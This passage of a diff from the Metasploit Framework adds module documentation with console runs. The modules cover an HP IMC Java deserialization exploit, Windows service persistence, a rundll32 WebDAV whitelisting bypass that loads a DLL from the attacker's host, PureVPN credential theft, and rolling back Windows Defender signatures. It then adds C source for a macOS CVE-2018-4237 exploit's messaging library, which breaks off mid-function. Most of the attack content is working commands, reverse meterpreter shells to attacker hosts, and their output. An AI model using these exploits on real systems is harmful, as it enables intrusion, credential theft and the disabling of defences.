Make sure to follow any instructions on setting up SSL correctly (certain cipher suites does not play well with the software). These instructions may vary depending on the win version you set it up on. On a Windows Server 2012 R2 I had to disable certain cipher suites. The exploit has been tested on Windows Server 2012 R2 and Windows Server 2008 R2.
## Verification Steps
A successful check of the exploit will look like this:
1. Install the application
2. Start msfconsole
3. Do: ```use exploit/windows/http/hp_imc_java_deserialize```
4. Do: ```set RHOSTS <RHOSTS>```
5. Do: ```set PAYLOAD windows/meterpreter/reverse_tcp```
6. Do: ```set LHOST <LHOST>```
7. Do: ```check```
8. **Verify** that you are seeing `The target is vulnerable.` in console.
9. Do: ```exploit```
10. You should get a meterpreter shell.
## Options
**TARGETURI**
Path to the IMC application, the default location is `/imc`.
**SSL**
As set up by default, IMC is vulnerable both over port `8080` and `8443` (SSL). Set this parameter to `true` and change `RPORT` if you'd like to exploit over SSL.
**RPORT**
Set this to the appropriate port, `8080` (default) or `8443`.
## Scenarios
All versions below 7.3 E0504P2 should be vulnerable remotely.
### HPE IMC 7.3 E0504P2
Here's showing the expected output:
```
msf > exploit
[*] Started reverse TCP handler on 10.0.0.1:4444
[*] Sending serialized Java object (11290 bytes)...
[*] Sending stage (179779 bytes) to 10.0.0.2
[*] Meterpreter session 2 opened (10.0.0.1:4444 -> 10.0.0.2:49284) at 2018-11-17 09:43:07 +0100
meterpreter > sysinfo
Computer : SERVER_NAME
OS : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
meterpreter >
```

View File

@ -0,0 +1,110 @@
## Description
This Module will generate and upload an executable to a remote host, next will make it a persistent service.
It will create a new service which will start the payload whenever the service is running. Admin or system privilege is required.
## Options
**REMOTE_EXE_NAME**
The remote victim name. Random string as default.
**REMOTE_EXE_PATH**
The remote victim exe path to run. Use temp directory as default.
**RETRY_TIME**
The retry time that shell connect failed. 5 seconds as default.
**SERVICE_DESCRIPTION**
The description of service. Random string as default.
**SERVICE_NAME**
The name of service. Random string as default.
## Verification Steps
1. get session on target
2. `use exploit/windows/local/persistence_service`
3. `set payload <payload>`
4. `set lport <lport>`
5. `set lhost <lhost>`
6. `exploit`
## Scenarios
### Windows 7 SP1 x64
```
msf5 exploit(windows/local/persistence_service) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: test-PC\test
meterpreter > sysinfo
Computer : TEST-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(windows/local/persistence_service) > use exploit/windows/local/persistence_service
msf5 exploit(windows/local/persistence_service) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/persistence_service) > set lport 2333
lport => 2333
msf5 exploit(windows/local/persistence_service) > set lhost 192.168.56.1
lhost => 192.168.56.1
msf5 exploit(windows/local/persistence_service) > set session 1
session => 1
msf5 exploit(windows/local/persistence_service) > exploit
[*] Started reverse TCP handler on 192.168.56.1:2333
[*] Running module against TEST-PC
[+] Meterpreter service exe written to C:\Users\test\AppData\Local\Temp\NVNvCyn.exe
[*] Creating service NePaGwA
[*] Cleanup Meterpreter RC File: /Users/green/.msf4/logs/persistence/TEST-PC_20181022.5605/TEST-PC_20181022.5605.rc
[*] Sending stage (179779 bytes) to 192.168.56.101
[*] Meterpreter session 4 opened (192.168.56.1:2333 -> 192.168.56.101:52781) at 2018-10-22 17:56:21 +0800
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : TEST-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > background
[*] Backgrounding session 4...
```
**Clean it**
```
msf5 exploit(windows/local/persistence_service) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > resource /Users/green/.msf4/logs/persistence/TEST-PC_20181022.5605/TEST-PC_20181022.5605.rc
[*] Processing /Users/green/.msf4/logs/persistence/TEST-PC_20181022.5605/TEST-PC_20181022.5605.rc for ERB directives.
resource (/Users/green/.msf4/logs/persistence/TEST-PC_20181022.5605/TEST-PC_20181022.5605.rc)> execute -H -f sc.exe -a "stop NePaGwA"
Process 6516 created.
resource (/Users/green/.msf4/logs/persistence/TEST-PC_20181022.5605/TEST-PC_20181022.5605.rc)> execute -H -f sc.exe -a "delete NePaGwA"
Process 6624 created.
resource (/Users/green/.msf4/logs/persistence/TEST-PC_20181022.5605/TEST-PC_20181022.5605.rc)> execute -H -i -f taskkill.exe -a "/f /im NVNvCyn.exe"
Process 5636 created.
Channel 23 created.
SUCCESS: The process "NVNvCyn.exe" with PID 5180 has been terminated.
SUCCESS: The process "NVNvCyn.exe" with PID 4828 has been terminated.
SUCCESS: The process "NVNvCyn.exe" with PID 5728 has been terminated.
resource (/Users/green/.msf4/logs/persistence/TEST-PC_20181022.5605/TEST-PC_20181022.5605.rc)> rm C:\\Users\\test\\AppData\\Local\\Temp\\NVNvCyn.exe
meterpreter >

View File

@ -0,0 +1,44 @@
# Introduction
This module simplifies the rundll32.exe Application Whitelisting Bypass technique
The module creates a webdav server that hosts a dll file. When the user types the provided
rundll32 command on a system, rundll32 will load the dll remotly and execute the provided
export function.
The export function needs to be valid, but the default meterpreter function can be anything.
The process does write the dll to `C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV`
but does not load the dll from that location. This file should be removed after execution.
The extension can be anything you'd like, but you don't have to use one. Two files will be
written to disk. One named the requested name and one with a dll extension attached.
Please note that there is a slight delay for the target to start making WebDAV requests,
and then getting a session back.
# Demo
```
msf5 exploit(windows/misc/webdav_delivery) > run
[*] Exploit running as background job 3.
[*] Started reverse TCP handler on 172.16.249.1:4444
msf5 exploit(windows/misc/webdav_delivery) > [*] Using URL: http://172.16.249.1:8080/
[*] Server started.
[*] Run the following command on the target machine:
rundll32.exe \\172.16.249.1@8080\ANYTHING,Init
[*] 172.16.249.130 webdav_delivery - GET /ANYTHING
[*] Sending stage (180291 bytes) to 172.16.249.130
[*] Meterpreter session 4 opened (172.16.249.1:4444 -> 172.16.249.130:49219) at 2018-12-12 13:25:06 -0600
msf5 exploit(windows/misc/webdav_delivery) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
4 meterpreter x86/windows 172.16.249.1:4444 -> 172.16.249.130:49219 (172.16.249.130)
msf5 exploit(windows/misc/webdav_delivery) >
```

View File

@ -22,6 +22,12 @@ msf > use multi/handler
msf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST [IP]
LHOST => [IP]
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit
[*] Started reverse TCP handler on [IP]
```
## Important Basic Commands

View File

@ -0,0 +1,35 @@
# Intro
This module allows you to collect login information for PureVPN client, specifically the `login.conf` file.
# Vulnerable Application
Versions before 6.0 should be vulnerable. For testing purposes, you may find the vulnerable version here:
* [https://jumpshare.com/v/LZcpUqJcThY1v7WlH95m](https://jumpshare.com/v/LZcpUqJcThY1v7WlH95m)
* [https://s3.amazonaws.com/purevpn-dialer-assets/windows/app/purevpn_setup.exe](https://s3.amazonaws.com/purevpn-dialer-assets/windows/app/purevpn_setup.exe)
# Options
**RPATH**
You may manually set the `RPATH` datastore option to allow the post module to find the installed
directory of PureVPN.
# Demo
```
msf5 post(windows/gather/credentials/purevpn_cred_collector) > rerun
[*] Reloading module...
[*] Searching PureVPN Client installation at C:\ProgramData
[*] Found PureVPN Client installation at C:\ProgramData
[*] Checking for login configuration at: C:\ProgramData\purevpn\config\
[*] Configuration file found: C:\ProgramData\purevpn\config\login.conf
[*] Found PureVPN login configuration on DESKTOP-AFMF2QU via session ID: 1
[+] Collected the following credentials:
[+] Username: asfafsdas
[+] Password: 23423423
[*] PureVPN credentials saved in: /Users/wchen/.msf4/loot/20181127162258_default_172.16.249.215_PureVPN.creds_515624.txt
[*] Post module execution completed
```

View File

@ -0,0 +1,81 @@
This module requires system privs
This module rolls back the signatures in windows defender to the
earliest signatures. The level of protection is somewhat indeterminate.
This action is accomplished by running the command:
`MpCmdRun.exe -RemoveDefinitions -All`
To recover, you can run
`MpCmdRun.exe -UpdateSignatures`
That will force defender to update the signatures to the latest version
from
###Vulnerable Applications
Windows defender is the target, though this is a feature
###Verification Steps
```
msf5 post(windows/manage/rollback_defender_signatures) > sessions -i -1
[*] Starting interaction with 3...
meterpreter > sysinfo
Computer : WIN-5ADJK2NT7IJ
OS : Windows 7 (Build 7600).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > background
[*] Backgrounding session 3...
msf5 post(windows/manage/rollback_defender_signatures) > show options
Module options (post/windows/manage/rollback_defender_signatures):
Name Current Setting Required Description
---- --------------- -------- -----------
ACTION Update yes Action to perform (Update/Rollback) (Accepted: Rollback, Update)
SESSION 3 yes The session to run this module on.
msf5 post(windows/manage/rollback_defender_signatures) > set action rollback
action => rollback
msf5 post(windows/manage/rollback_defender_signatures) > set verbose true
verbose => true
msf5 post(windows/manage/rollback_defender_signatures) > show options
Module options (post/windows/manage/rollback_defender_signatures):
Name Current Setting Required Description
---- --------------- -------- -----------
ACTION rollback yes Action to perform (Update/Rollback) (Accepted: rollback, update)
SESSION 3 yes The session to run this module on.
msf5 post(windows/manage/rollback_defender_signatures) > run
[*] program_path = C:\Program Files
[*] file_path = C:\Program Files\Windows Defender\MpCmdRun.exe
[*] Removing All Definitions for Windows Defender
[*] rollback
[*] Running cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
[*]
Service Version: 6.1.7600.16385
Engine Version: 1.1.15400.5
AntiSpyware Signature Version: 1.281.1013.0e[*] Post module execution completed
### Options
Module options (post/windows/manage/rollback_defender_signatures):
Name Current Setting Required Description
---- --------------- -------- -----------
ACTION rollback yes Action to perform (Update/Rollback) (Accepted: rollback, update)
SESSION 3 yes The session to run this module on.
Session is standard
ACTION is what you would like to do. Rollback rolls the definitions
back to the original, update updates the signatures. In theory, on
a normal system, rollback will push to old definitions, and update will
return the definitions.

View File

@ -0,0 +1,10 @@
all:
+$(MAKE) -C ssudo
install:
cp ssudo/ssudo ../../../../data/exploits/CVE-2018-4237/ssudo
clean:
rm -f ssudo/ssudo

View File

@ -0,0 +1,74 @@
#include "datatypes.h"
#include "utils.h"
#include <stdlib.h>
#include <stdio.h>
spc_array_t* spc_array_create()
{
return calloc(sizeof(spc_array_t), 1);
}
void spc_array_destroy(spc_array_t* array)
{
for (size_t i = 0; i < array->length; i++)
spc_value_destroy(array->values[i]);
free(array->values);
free(array);
}
size_t spc_array_get_length(spc_array_t* array)
{
return array->length;
}
static void resize_array(spc_array_t* array, size_t length)
{
if (array->length >= length)
return;
size_t prev_length = array->length;
if (array->capacity < length) {
array->capacity *= 2;
if (array->capacity == 0)
array->capacity = 4; // initial capacity
array->values = realloc(array->values, array->capacity * sizeof(spc_value_t));
ASSERT(array->values);
}
array->length = length;
// Null initialize
for (size_t i = prev_length; i < length; i++)
array->values[i].type = SPC_TYPE_NULL;
}
void spc_array_set_value(spc_array_t* array, size_t index, spc_value_t value)
{
if (index >= array->length)
resize_array(array, index + 1);
array->values[index] = value;
}
void spc_array_set_data(spc_array_t* array, size_t index, void* data, size_t length)
{
void* buf = malloc(length);
memcpy(buf, data, length);
spc_value_t value;
value.type = SPC_TYPE_DATA;
value.value.data.ptr = buf;
value.value.data.size = length;
spc_array_set_value(array, index, value);
}
spc_value_t spc_array_get_value(spc_array_t* array, size_t index)
{
if (index < array->length)
return array->values[index];
return spc_null_create();
}

View File

@ -0,0 +1,14 @@
#ifndef _ARRAY_H_
#define _ARRAY_H_
#include "datatypes.h"
spc_array_t* spc_array_create();
size_t spc_array_get_length(spc_array_t* array);
void spc_array_set_value(spc_array_t* array, size_t index, spc_value_t value);
void spc_array_set_data(spc_array_t* array, size_t index, void* data, size_t length);
#endif

View File

@ -0,0 +1,223 @@
#include "datatypes.h"
#include "dictionary.h"
#include "serialization.h"
#include "utils.h"
#include "connection.h"
#include <stdlib.h>
#include <stdio.h>
#include <mach/mach.h>
spc_message_t* spc_recv(mach_port_t port)
{
// TODO hack
spc_mach_message_t* machmsg = malloc(0x10000);
mach_msg_return_t kr = mach_msg(&machmsg->header, MACH_RCV_MSG, 0, 0x10000, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
ASSERT_MACH_SUCCESS(kr, "mach_msg_recv");
spc_message_t* msg = spc_deserialize(machmsg);
free(machmsg);
return msg;
}
void spc_send(spc_message_t* msg)
{
spc_mach_message_t* machmsg = spc_serialize(msg);
mach_msg_return_t kr = mach_msg(&machmsg->header, MACH_SEND_MSG, machmsg->header.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
ASSERT_MACH_SUCCESS(kr, "mach_msg_send");
free(machmsg);
}
void spc_interface_routine(int subsytem_nr, int routine_nr, spc_dictionary_t* dict, spc_dictionary_t** reply)
{
mach_port_t bootstrap_port;
kern_return_t kr;
spc_dictionary_set_uint64(dict, "subsystem", subsytem_nr);
spc_dictionary_set_uint64(dict, "routine", routine_nr);
kr = task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &bootstrap_port);
ASSERT_MACH_SUCCESS(kr, "task_get_special_port");
spc_message_t msg;
msg.remote_port.name = bootstrap_port;
msg.remote_port.type = MACH_MSG_TYPE_COPY_SEND;
msg.local_port.name = mig_get_reply_port();
msg.local_port.type = MACH_MSG_TYPE_MAKE_SEND_ONCE;
msg.id = 0x10000000;
msg.content = dict;
spc_send(&msg);
spc_message_t* reply_msg = spc_recv(mig_get_reply_port());
*reply = reply_msg->content;
free(reply_msg);
}
void spc_domain_routine(int routine_nr, spc_dictionary_t* msg, spc_dictionary_t** reply)
{
return spc_interface_routine(3, routine_nr, msg, reply);
}
kern_return_t spc_look_up_endpoint(const char* name, uint64_t type, uint64_t handle, uint64_t lookup_handle, uint64_t flags, mach_port_t* remote_port)
{
spc_dictionary_t* msg = spc_dictionary_create();
spc_dictionary_set_string(msg, "name", name);
spc_dictionary_set_uint64(msg, "type", type);
spc_dictionary_set_uint64(msg, "handle", handle);
spc_dictionary_set_uint64(msg, "lookup-handle", lookup_handle);
spc_dictionary_set_uint64(msg, "flags", flags);
spc_dictionary_t* reply;
spc_domain_routine(0x324, msg, &reply);
spc_dictionary_destroy(msg);
if (spc_dictionary_get_int64(reply, "error") != 0) {
return KERN_FAILURE;
}
*remote_port = spc_dictionary_get_send_port(reply, "port");
spc_dictionary_destroy(reply);
return KERN_SUCCESS;
}
spc_connection_t* spc_create_connection_mach_port(mach_port_t service_port)
{
kern_return_t kr;
mach_port_t send_port, receive_port;
// Allocate send port. Receive right will be transferred to remote end.
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &send_port);
ASSERT_MACH_SUCCESS(kr, "mach_port_allocate");
// Allocate receive port. A send right will be created and send to the remote end.
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &receive_port);
ASSERT_MACH_SUCCESS(kr, "mach_port_allocate");
spc_connection_t* connection = malloc(sizeof(spc_connection_t));
connection->receive_port = receive_port;
// Extract a send right for the send_port.
mach_msg_type_name_t aquired_type;
kr = mach_port_extract_right(mach_task_self(), send_port, MACH_MSG_TYPE_MAKE_SEND, &connection->send_port, &aquired_type);
ASSERT_MACH_SUCCESS(kr, "mach_port_extract_right");
struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t send_port;
mach_msg_port_descriptor_t receive_port;
} msg;
msg.header.msgh_remote_port = service_port;
msg.header.msgh_local_port = MACH_PORT_NULL;
msg.header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
msg.header.msgh_size = sizeof(msg);
msg.header.msgh_id = 1999646836; // Copy-pasted from mach message trace
msg.body.msgh_descriptor_count = 2;
msg.send_port.type = MACH_MSG_PORT_DESCRIPTOR;
msg.send_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE;
msg.send_port.name = send_port;
msg.receive_port.type = MACH_MSG_PORT_DESCRIPTOR;
msg.receive_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
msg.receive_port.name = receive_port;
kr = mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
ASSERT_MACH_SUCCESS(kr, "mach_msg_send");
return connection;
}
spc_connection_t* spc_create_connection_mach_service(const char* service_name)
{
kern_return_t kr;
mach_port_t service_port;
kr = spc_look_up_endpoint(service_name, 7, 0, 0, 0, &service_port);
if (kr != KERN_SUCCESS) {
return NULL;
}
return spc_create_connection_mach_port(service_port);
}
spc_connection_t* spc_accept_connection(mach_port_t port)
{
struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t recv_port;
mach_msg_port_descriptor_t send_port;
mach_msg_trailer_t trailer;
} msg;
mach_msg_return_t kr = mach_msg(&msg.header, MACH_RCV_MSG, 0, sizeof(msg), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
ASSERT_MACH_SUCCESS(kr, "mach_msg_recv");
spc_connection_t* connection = malloc(sizeof(spc_connection_t));
connection->receive_port = msg.recv_port.name;
connection->send_port = msg.send_port.name;
return connection;
}
void spc_connection_send(spc_connection_t* connection, spc_dictionary_t* dict)
{
spc_message_t msg;
msg.id = 0x10000000;
msg.remote_port.name = connection->send_port;
msg.remote_port.type = MACH_MSG_TYPE_COPY_SEND;
msg.local_port.name = MACH_PORT_NULL;
msg.local_port.type = 0;
msg.content = dict;
spc_send(&msg);
}
spc_dictionary_t* spc_connection_send_with_reply(spc_connection_t* connection, spc_dictionary_t* dict)
{
spc_message_t msg;
msg.id = 0x10000000;
msg.remote_port.name = connection->send_port;
msg.remote_port.type = MACH_MSG_TYPE_COPY_SEND;
msg.local_port.name = mig_get_reply_port();
msg.local_port.type = MACH_MSG_TYPE_MAKE_SEND_ONCE;
msg.content = dict;
spc_send(&msg);
spc_message_t* reply = spc_recv(msg.local_port.name);
dict = reply->content;
free(reply);
return dict;
}
spc_dictionary_t* spc_connection_recv(spc_connection_t* connection)
{
spc_message_t* msg = spc_recv(connection->receive_port);
spc_dictionary_t* dict = msg->content;
free(msg);
return dict;
}
void spc_reply(spc_message_t* orig, spc_dictionary_t* reply)
{
spc_message_t msg;
msg.id = 0x20000000;
msg.remote_port.name = orig->local_port.name;
msg.remote_port.type = MACH_MSG_TYPE_MOVE_SEND_ONCE;
msg.local_port.name = MACH_PORT_NULL;
msg.local_port.type = 0;
msg.content = reply;
spc_send(&msg);
}

View File

@ -0,0 +1,25 @@
#ifndef _CONNECTION_H_
#define _CONNECTION_H_
#include "datatypes.h"
void spc_interface_routine(int subsytem_nr, int routine_nr, spc_dictionary_t* msg, spc_dictionary_t** reply);
void spc_domain_routine(int routine_nr, spc_dictionary_t* msg, spc_dictionary_t** reply);
kern_return_t spc_look_up_endpoint(const char* name, uint64_t type, uint64_t handle, uint64_t lookup_handle, uint64_t flags, mach_port_t* remote_port);
spc_connection_t* spc_create_connection_mach_port(mach_port_t service_port);
spc_connection_t* spc_create_connection_mach_service(const char* service_name);
spc_connection_t* spc_accept_connection(mach_port_t port);
// Low-level send/recv API
void spc_send(spc_message_t* msg);
spc_message_t* spc_recv(mach_port_t port);
void spc_reply(spc_message_t* msg, spc_dictionary_t* reply);
// High-level send/recv API
void spc_connection_send(spc_connection_t* connection, spc_dictionary_t* msg);
spc_dictionary_t* spc_connection_send_with_reply(spc_connection_t* connection, spc_dictionary_t* msg);
spc_dictionary_t* spc_connection_recv(spc_connection_t* connection);
#endif

View File

@ -0,0 +1,43 @@
#include <stdlib.h>
#include "datatypes.h"
const spc_port_t SPC_NULL_PORT = {.name = MACH_PORT_NULL, .type = 0};
spc_value_t spc_null_create()
{
spc_value_t null = { .type = SPC_TYPE_NULL };
return null;
}
void spc_value_destroy(spc_value_t value)
{
switch (value.type) {
case SPC_TYPE_STRING:
free(value.value.str);
break;
case SPC_TYPE_UUID:
free(value.value.ptr);
break;
case SPC_TYPE_DATA:
free(value.value.data.ptr);
break;
case SPC_TYPE_ARRAY:
spc_array_destroy(value.value.array);
break;
case SPC_TYPE_DICT:
spc_dictionary_destroy(value.value.dict);
break;
case SPC_TYPE_SEND_PORT:
case SPC_TYPE_RECV_PORT:
case SPC_TYPE_FD:
mach_port_deallocate(mach_task_self(), value.value.port.name);
break;
}
}
void spc_message_destroy(spc_message_t* msg)
{
spc_dictionary_destroy(msg->content);
free(msg);
}

View File

@ -0,0 +1,91 @@
#ifndef _DATATYPES_H_
#define _DATATYPES_H_
#include <stdint.h>
#include <mach/mach.h>
typedef struct {
mach_port_t send_port; // A send right to a port on which the remote end can receive
mach_port_t receive_port;
} spc_connection_t;
#define SPC_TYPE_NULL 0x1000
#define SPC_TYPE_BOOL 0x2000
#define SPC_TYPE_INT64 0x3000
#define SPC_TYPE_UINT64 0x4000
#define SPC_TYPE_DOUBLE 0x5000
#define SPC_TYPE_DATA 0x8000
#define SPC_TYPE_STRING 0x9000
#define SPC_TYPE_UUID 0xa000
#define SPC_TYPE_FD 0xb000
#define SPC_TYPE_SHMEM 0xc000
#define SPC_TYPE_SEND_PORT 0xd000
#define SPC_TYPE_ARRAY 0xe000
#define SPC_TYPE_DICT 0xf000
#define SPC_TYPE_RECV_PORT 0x15000
typedef struct _spc_dictionary_t spc_dictionary_t;
typedef struct _spc_array_t spc_array_t;
typedef struct {
mach_port_t name;
mach_msg_type_name_t type;
} spc_port_t;
const spc_port_t SPC_NULL_PORT;
typedef struct {
unsigned char* ptr;
size_t size;
} spc_data_t;
typedef struct {
uint32_t type;
union {
uint64_t u64;
int64_t i64;
double dbl;
char* str;
void* ptr;
spc_data_t data;
spc_dictionary_t* dict;
spc_array_t* array;
spc_port_t port;
} value;
} spc_value_t;
spc_value_t spc_null_create();
void spc_value_destroy(spc_value_t value);
typedef struct _spc_array_t {
spc_value_t* values;
size_t length;
size_t capacity;
} spc_array_t;
typedef struct _spc_dictionary_item_t {
char* key;
spc_value_t value;
struct _spc_dictionary_item_t* next;
} spc_dictionary_item_t;
typedef struct _spc_dictionary_t {
spc_dictionary_item_t* items;
size_t num_items;
} spc_dictionary_t;
void spc_array_destroy(spc_array_t* dict);
void spc_dictionary_destroy(spc_dictionary_t* dict);
// A message is essentially a mach message header and a dictionary
typedef struct {
spc_port_t local_port;
spc_port_t remote_port;
unsigned int id;
spc_dictionary_t* content;
} spc_message_t;
void spc_message_destroy(spc_message_t* msg);
#endif

View File

@ -0,0 +1,262 @@
#include "datatypes.h"
#include "utils.h"
#include <stdlib.h>
#include <stdio.h>
extern int fileport_makeport(int fd, mach_port_t* port);
spc_dictionary_t* spc_dictionary_create()
{
return calloc(sizeof(spc_dictionary_t), 1);
}
void spc_dictionary_destroy(spc_dictionary_t* dict)
{
spc_dictionary_item_t* current, *last;
current = dict->items;
while (current) {
free(current->key);
spc_value_destroy(current->value);
last = current;
current = current->next;
free(last);
}
free(dict);
}
spc_dictionary_item_t* spc_dictionary_lookup(spc_dictionary_t* dict, const char* key)
{
spc_dictionary_item_t* current = dict->items;
while (current) {
if (strcmp(current->key, key) == 0)
return current;
current = current->next;
}
return NULL;
}
spc_dictionary_item_t* spc_dictionary_add_item(spc_dictionary_t* dict, const char* key, uint32_t type)
{
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
if (item) {
spc_value_destroy(item->value);
} else {
item = malloc(sizeof(spc_dictionary_item_t));
item->next = dict->items;
dict->items = item;
dict->num_items++;
item->key = strdup(key);
}
item->value.type = type;
return item;
}
void spc_dictionary_set_value(spc_dictionary_t* dict, const char* key, spc_value_t value)
{
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_STRING);
item->value = value;
}
void spc_dictionary_set_string(spc_dictionary_t* dict, const char* key, const char* value)
{
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_STRING);
item->value.value.str = strdup(value);
}
void spc_dictionary_set_uint64(spc_dictionary_t* dict, const char* key, uint64_t value)
{
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_UINT64);
item->value.value.u64 = value;
}
void spc_dictionary_set_int64(spc_dictionary_t* dict, const char* key, int64_t value)
{
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_INT64);
item->value.value.i64 = value;
}
void spc_dictionary_set_data(spc_dictionary_t* dict, const char* key, const void* bytes, size_t len)
{
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_DATA);
void* buf = malloc(len);
memcpy(buf, bytes, len);
item->value.value.data.ptr = buf;
item->value.value.data.size = len;
}
void spc_dictionary_set_fd(spc_dictionary_t* dict, const char* key, int fd)
{
mach_port_t fileport;
fileport_makeport(fd, &fileport);
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_FD);
item->value.value.port.name = fileport;
item->value.value.port.type = MACH_MSG_TYPE_COPY_SEND;
}
// TODO make port type a parameter
void spc_dictionary_set_send_port(spc_dictionary_t* dict, const char* key, mach_port_t port)
{
mach_port_addref(port, MACH_PORT_RIGHT_SEND);
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_SEND_PORT);
item->value.value.port.name = port;
item->value.value.port.type = MACH_MSG_TYPE_COPY_SEND;
}
void spc_dictionary_set_receive_port(spc_dictionary_t* dict, const char* key, mach_port_t port)
{
mach_port_addref(port, MACH_PORT_RIGHT_RECEIVE);
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_RECV_PORT);
item->value.value.port.name = port;
item->value.value.port.type = MACH_MSG_TYPE_MOVE_RECEIVE;
}
void spc_dictionary_set_bool(spc_dictionary_t* dict, const char* key, int value)
{
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_BOOL);
item->value.value.u64 = value;
}
uint64_t spc_dictionary_get_uint64(spc_dictionary_t* dict, const char* key)
{
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
if (!item || item->value.type != SPC_TYPE_UINT64)
return 0;
return item->value.value.u64;
}
int64_t spc_dictionary_get_int64(spc_dictionary_t* dict, const char* key)
{
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
if (!item || item->value.type != SPC_TYPE_INT64)
return 0;
return item->value.value.i64;
}
const char* spc_dictionary_get_string(spc_dictionary_t* dict, const char* key)
{
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
if (!item || item->value.type != SPC_TYPE_STRING)
return NULL;
return item->value.value.str;
}
int spc_dictionary_get_bool(spc_dictionary_t* dict, const char* key)
{
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
if (!item || item->value.type != SPC_TYPE_BOOL)
return 0;
return item->value.value.u64;
}
mach_port_t spc_dictionary_get_send_port(spc_dictionary_t* dict, const char* key)
{
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
if (!item || item->value.type != SPC_TYPE_SEND_PORT)
return MACH_PORT_NULL;
mach_port_addref(item->value.value.port.name, MACH_PORT_RIGHT_SEND);
return item->value.value.port.name;
}
mach_port_t spc_dictionary_get_receive_port(spc_dictionary_t* dict, const char* key)
{
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
if (!item || item->value.type != SPC_TYPE_RECV_PORT)
return MACH_PORT_NULL;
mach_port_addref(item->value.value.port.name, MACH_PORT_RIGHT_RECEIVE);
return item->value.value.port.name;
}
void spc_dump_value(spc_value_t value, int indent)
{
char* indent_str = malloc(indent + 1);
memset(indent_str, ' ', indent);
indent_str[indent] = 0;
switch (value.type) {
case SPC_TYPE_NULL:
printf("%*cnull\n", indent, ' ');
break;
case SPC_TYPE_BOOL:
printf("%*c%s\n", indent, ' ', value.value.u64 ? "true" : "false");
break;
case SPC_TYPE_UINT64:
printf("%*c%llu\n", indent, ' ', value.value.u64);
break;
case SPC_TYPE_INT64:
printf("%*c%lli\n", indent, ' ', value.value.i64);
break;
case SPC_TYPE_DOUBLE:
printf("%*c%f\n", indent, ' ', value.value.dbl);
break;
case SPC_TYPE_STRING:
printf("%*c%s\n", indent, ' ', value.value.str);
break;
case SPC_TYPE_UUID: {
char buf[0x21];
for (int i = 0; i < 0x10; i++) {
sprintf(&buf[2*i], "%02x", ((unsigned char*)value.value.str)[i]);
}
buf[0x20] = 0;
printf("%*cuuid: %s\n", indent, ' ', buf);
break;
}
case SPC_TYPE_ARRAY: {
spc_array_t* array = value.value.array;
printf("%*c[\n", indent, ' ');
for (size_t i = 0; i < array->length; i++) {
spc_dump_value(array->values[i], indent + 2);
}
printf("%*c]\n", indent, ' ');
break;
}
case SPC_TYPE_DICT: {
spc_dictionary_item_t* current = value.value.dict->items;
while (current) {
printf("%*c%s:\n", indent, ' ', current->key);
spc_dump_value(current->value, indent + 2);
current = current->next;
}
break;
}
case SPC_TYPE_SEND_PORT:
printf("%*cport send right: %d\n", indent, ' ', value.value.port.name);
break;
case SPC_TYPE_RECV_PORT:
printf("%*cport receive right: %d\n", indent, ' ', value.value.port.name);
break;
case SPC_TYPE_DATA:
printf("%*cdata: 0x", indent, ' ');
for (size_t i = 0; i < value.value.data.size; i++)
